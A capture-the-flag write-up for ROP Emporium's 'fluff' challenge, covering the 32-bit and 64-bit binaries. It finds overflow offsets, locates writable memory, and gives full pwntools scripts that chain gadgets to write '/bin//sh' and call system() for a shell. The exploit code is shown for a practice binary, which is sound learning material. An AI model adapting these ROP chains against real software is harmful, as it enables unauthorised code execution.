Fluff 32 Bit

Overall the objective still same as write4 but in this binary the ROP gadget in the binary is limited. We need to find the ROP chain to achieve the objective. First, let’s find the EIP offset using Radare2.

root@Perseverance:~/rop_emporium/fluff32# r2 -de dbg.profile=profile.rr2 fluff32
Process with PID 1818 started...
= attach 1818 1818
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
glibc.fc_offset = 0x00148
[0xf7f470b0]> dc
fluff by ROP Emporium
32bits

You know changing these strings means I have to rewrite my solutions...
> child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41415041 code=1 ret=0
[0x41415041]> wopO `dr eip`
44


EIP offset is 44. Find the writable memory section using readelf command.

root@Perseverance:~/rop_emporium/fluff32# readelf --sections fluff32
There are 31 section headers, starting at offset 0x1970:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000030 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481dc 0001dc 0000d0 10   A  6   1  4
  [ 6] .dynstr           STRTAB          080482ac 0002ac 000081 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          0804832e 00032e 00001a 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         08048348 000348 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             08048368 000368 000020 08   A  5   0  4
  [10] .rel.plt          REL             08048388 000388 000038 08  AI  5  24  4
  [11] .init             PROGBITS        080483c0 0003c0 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        080483f0 0003f0 000080 04  AX  0   0 16
  [13] .plt.got          PROGBITS        08048470 000470 000008 00  AX  0   0  8
  [14] .text             PROGBITS        08048480 000480 000282 00  AX  0   0 16
  [15] .fini             PROGBITS        08048704 000704 000014 00  AX  0   0  4
  [16] .rodata           PROGBITS        08048718 000718 000083 00   A  0   0  4
  [17] .eh_frame_hdr     PROGBITS        0804879c 00079c 00003c 00   A  0   0  4
  [18] .eh_frame         PROGBITS        080487d8 0007d8 00010c 00   A  0   0  4
  [19] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4
  [20] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4
  [21] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4
  [22] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4
  [23] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [24] .got.plt          PROGBITS        0804a000 001000 000028 04  WA  0   0  4
  [25] .data             PROGBITS        0804a028 001028 000008 00  WA  0   0  4
  [26] .bss              NOBITS          0804a040 001030 00002c 00  WA  0   0 32
  [27] .comment          PROGBITS        00000000 001030 000034 01  MS  0   0  1
  [28] .shstrtab         STRTAB          00000000 001865 00010a 00      0   0  1
  [29] .symtab           SYMTAB          00000000 001064 000510 10     30  50  4
  [30] .strtab           STRTAB          00000000 001574 0002f1 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  p (processor specific)


The .data section is writable. We will write the “/bin/sh” string into .data section but we need to write a few bytes after the start address because of the start address (0x0804a028) used by the libc. In this case, we will write the string into “0x0804a048”.

Next, we need to find the ROP gadget that we can use to write the string using ROPGadget tools. For this challenge, below ROP chain can be used to write a string into the memory.

xor_edx_edx = 0x08048671            # xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret
pop_ebx = 0x080483e1                # pop ebx ; ret
xor_edx_ebx = 0x0804867b            # xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
xchg_edx_ecx = 0x08048689           # xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret
mov_ecx_edx = 0x08048693            # mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret


Since the binary is 32-bit, we only able to write 4 characters on each operation, so we split the “/bin//sh” into “/bin” and “//sh”. To make it more convenient we can make a function to write the string and call it with arguments.

def write_data(data, destination):
    payload = ""
    payload += p32(xor_edx_edx)         # set EDX to 0
    payload += "BBBB"
    payload += p32(pop_ebx)             # set ebx value to the destination memory address
    payload += p32(destination)
    payload += p32(xor_edx_ebx)         # write EBX value to EDX, now EDX contains the value of destination memory address
    payload += "BBBB"
    payload += p32(xchg_edx_ecx)        # Exhcange the value of edx to ecx, now ECX contains the value of destination memory address
    payload += "BBBB"

    # Write 4 characters string into EDX
    payload += p32(xor_edx_edx)         # set EDX to 0     
    payload += "BBBB"
    payload += p32(pop_ebx)             # set EBX value to the string that will be written into memory
    payload += data
    payload += p32(xor_edx_ebx)         # set the value of EDX = string
    payload += "BBBB"

    # Write EDX to ECX
    payload += p32(mov_ecx_edx)         # Write the EDX value into the address pointed by ECX value
    payload += "BBBB"
    payload += p32(0)

    return payload


After writing the “/bin/sh” string into memory, we can call the system_plt using the “/bin//sh” as the argument to get the Shell.

write_bin = write_data("/bin", data_addr)
write_sh = write_data("//sh", data_addr+4)

# Sytem call execute /bin/sh
syscall = ""
syscall += p32(system_plt)
syscall += "BBBB"
syscall += p32(data_addr)


Below is a simple python script using pwntools to automate the process.

#!/usr/bin/python
from pwn import *

xor_edx_edx = 0x08048671            # xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret
pop_ebx = 0x080483e1                # pop ebx ; ret
xor_edx_ebx = 0x0804867b            # xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
xchg_edx_ecx = 0x08048689           # xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret
mov_ecx_edx = 0x08048693            # mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
system_plt = 0x8048430
data_addr = 0x0804a048

def write_data(data, destination):
    payload = ""
    payload += p32(xor_edx_edx)         # set EDX =0 dan POP "BBBB" ke EBP
    payload += "BBBB"
    payload += p32(pop_ebx)             # set ebx = data_address
    payload += p32(destination)
    payload += p32(xor_edx_ebx)         # after EDX 0, XOR it to EBX will make it have same value as EBX , EDX = data_address
    payload += "BBBB"
    payload += p32(xchg_edx_ecx)        # Exhcange the value of edx to ecx, ECX = data_address
    payload += "BBBB"

    # Write /bin string into EDX
    payload += p32(xor_edx_edx)		# set EDX to 0
    payload += "BBBB"
    payload += p32(pop_ebx)		# set EBX value to the string that will be written into memory
    payload += data
    payload += p32(xor_edx_ebx)		# set the value of EDX = string
    payload += "BBBB"

    # Write EDX to ECX
    payload += p32(mov_ecx_edx)		# Write the EDX value into the address pointed by ECX value
    payload += "BBBB"
    payload += p32(0)

    return payload

def main():
    junk = "A" * 44			# EIP Offset at 44
    write_bin = write_data("/bin", data_addr)
    write_sh = write_data("//sh", data_addr+4)

    # Sytem call execute /bin/sh
    syscall = ""
    syscall += p32(system_plt)
    syscall += "BBBB"
    syscall += p32(data_addr)

    payload = junk + write_bin + write_sh + syscall
    p = process("./fluff32")
    p.sendlineafter("> ", payload)
    p.interactive()

if __name__ == "__main__":
    main()


Run the script and get the Shell.

root@Perseverance:~/rop_emporium/fluff32# ./fluff32.py
[+] Starting local process './fluff32': pid 1938
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}



Fluff 64 Bit

Let’s find the RIP offset using Radare2.

root@Perseverance:~/rop_emporium/fluff# r2 -de dbg.profile=profile.rr2 fluff
Process with PID 2064 started...
= attach 2064 2064
bin.baddr 0x00400000
Using 0x400000
asm.bits 64
[0x7f70dce1f090]> dc
fluff by ROP Emporium
64bits

You know changing these strings means I have to rewrite my solutions...
> child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 ret=0
[0x00400806]> pxq 8@rsp
0x7ffc93e92668  0x41415041414f4141                       AAOAAPAA
[0x00400806]> wopO 0x41415041414f4141
40
[0x00400806]>


RIP offset is 40. Find the writable memory section using readelf command.

root@Perseverance:~/rop_emporium/fluff# readelf --sections fluff
There are 31 section headers, starting at offset 0x1bf8:            
   
--snipped--
  [19] .init_array       INIT_ARRAY       0000000000600e10  00000e10
       0000000000000008  0000000000000000  WA       0     0     8
  [20] .fini_array       FINI_ARRAY       0000000000600e18  00000e18
       0000000000000008  0000000000000000  WA       0     0     8
  [21] .jcr              PROGBITS         0000000000600e20  00000e20
       0000000000000008  0000000000000000  WA       0     0     8
  [22] .dynamic          DYNAMIC          0000000000600e28  00000e28
       00000000000001d0  0000000000000010  WA       6     0     8
  [23] .got              PROGBITS         0000000000600ff8  00000ff8
       0000000000000008  0000000000000008  WA       0     0     8
  [24] .got.plt          PROGBITS         0000000000601000  00001000
       0000000000000050  0000000000000008  WA       0     0     8
  [25] .data             PROGBITS         0000000000601050  00001050
       0000000000000010  0000000000000000  WA       0     0     8
  [26] .bss              NOBITS           0000000000601060  00001060
       0000000000000030  0000000000000000  WA       0     0     32
--snipped--


The .data section is writable and we will write the “/bin/sh” string into that section. Since this is 64-bit binary, we can write “/bin/sh” without splitting it. Use ROP Gadget to find suitable gadgets to write “/bin/sh” into the .data section. Below is the gadget that I used to write the string into the data section.

xor_r11_r11 = p64(0x0000000000400822)        # xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
pop_r12 = p64(0x0000000000400832)            # pop r12 ; mov r13d, 0x604060 ; ret
xor_r11_r12 = p64(0x000000000040082f)        # xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
xchg_r11_r10 = p64(0x0000000000400840)       # xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
mov_r10_r11 = p64(0x000000000040084c)        # mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret

# write .data memory address into r10 register
rop = ""
rop += xor_r11_r11          # set R11 to 0
rop += "BBBBBBBB"
rop += pop_r12              # set R12 value to the data section address
rop += data_addr
rop += xor_r11_r12          # write R12 value to R11
rop += "BBBBBBBB"
rop += xchg_r11_r10         # Exchange the value of R11 to R10, now R10 contain the data section address
rop += "BBBBBBBB"

# write "/bin//sh" string into r11 registers
rop += xor_r11_r11          # set R11 to 0
rop += "BBBBBBBB"
rop += pop_r12              # set R12 value to "/bin//sh" string
rop += "/bin//sh"
rop += xor_r11_r12          # write R12 value to R11, now R11 contain the "/bin//sh" string
rop += "BBBBBBBB"

# write r11 value into r10 address
rop += mov_r10_r11          # Write the R11 value into the address pointed by R10 value
rop += "BBBBBBBB"
rop += "BBBBBBBB"
rop += p64(0)


After writing the “/bin/sh” string into memory, we can call the system_plt using the “/bin//sh” as the argument to get the Shell.

syscall = ""
syscall += pop_rdi
syscall += data_addr
syscall += system_plt


Below is a simple python script using pwntools to automate the process.

#!/usr/bin/python
from pwn import *

def main():
    junk = "A" * 40  			  	 # RIP Offset at 40
    xor_r11_r11 = p64(0x0000000000400822)        # xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
    pop_r12 = p64(0x0000000000400832)            # pop r12 ; mov r13d, 0x604060 ; ret
    xor_r11_r12 = p64(0x000000000040082f)        # xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
    xchg_r11_r10 = p64(0x0000000000400840)       # xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
    mov_r10_r11 = p64(0x000000000040084c)        # mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
    pop_rdi = p64(0x0000000000400844)            # pop rdi ; mov r11d, 0x602050 ; ret
    system_plt = p64(0x4005e0)
    data_addr = p64(0x00601050)

    # write .data memory address into r10 register
    rop = ""
    rop += xor_r11_r11		# set R11 to 0
    rop += "BBBBBBBB"
    rop += pop_r12		# set R12 value to the data section address
    rop += data_addr
    rop += xor_r11_r12		# write R12 value to R11
    rop += "BBBBBBBB"
    rop += xchg_r11_r10		# Exchange the value of R11 to R10, now R10 contain the data section address
    rop += "BBBBBBBB"

    # write "/bin//sh" string into r11 registers
    rop += xor_r11_r11		# set R11 to 0
    rop += "BBBBBBBB"
    rop += pop_r12		# set R12 value to "/bin//sh" string
    rop += "/bin//sh"
    rop += xor_r11_r12		# write R12 value to R11, now R11 contain the "/bin//sh" string
    rop += "BBBBBBBB"

    # write r11 value into r10 address
    rop += mov_r10_r11		# Write the R11 value into the address pointed by R10 value
    rop += "BBBBBBBB"
    rop += "BBBBBBBB"
    rop += p64(0)

    # System call execute /bin//sh
    syscall = ""
    syscall += pop_rdi
    syscall += data_addr
    syscall += system_plt

    payload = junk + rop + syscall
    p = process("./fluff")
    p.sendlineafter("> ", payload)
    p.interactive()

if __name__ == "__main__":
    main()


Run the script and get the Shell.

root@Perseverance:~/rop_emporium/fluff# ./fluff.py 
[+] Starting local process './fluff': pid 2203
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}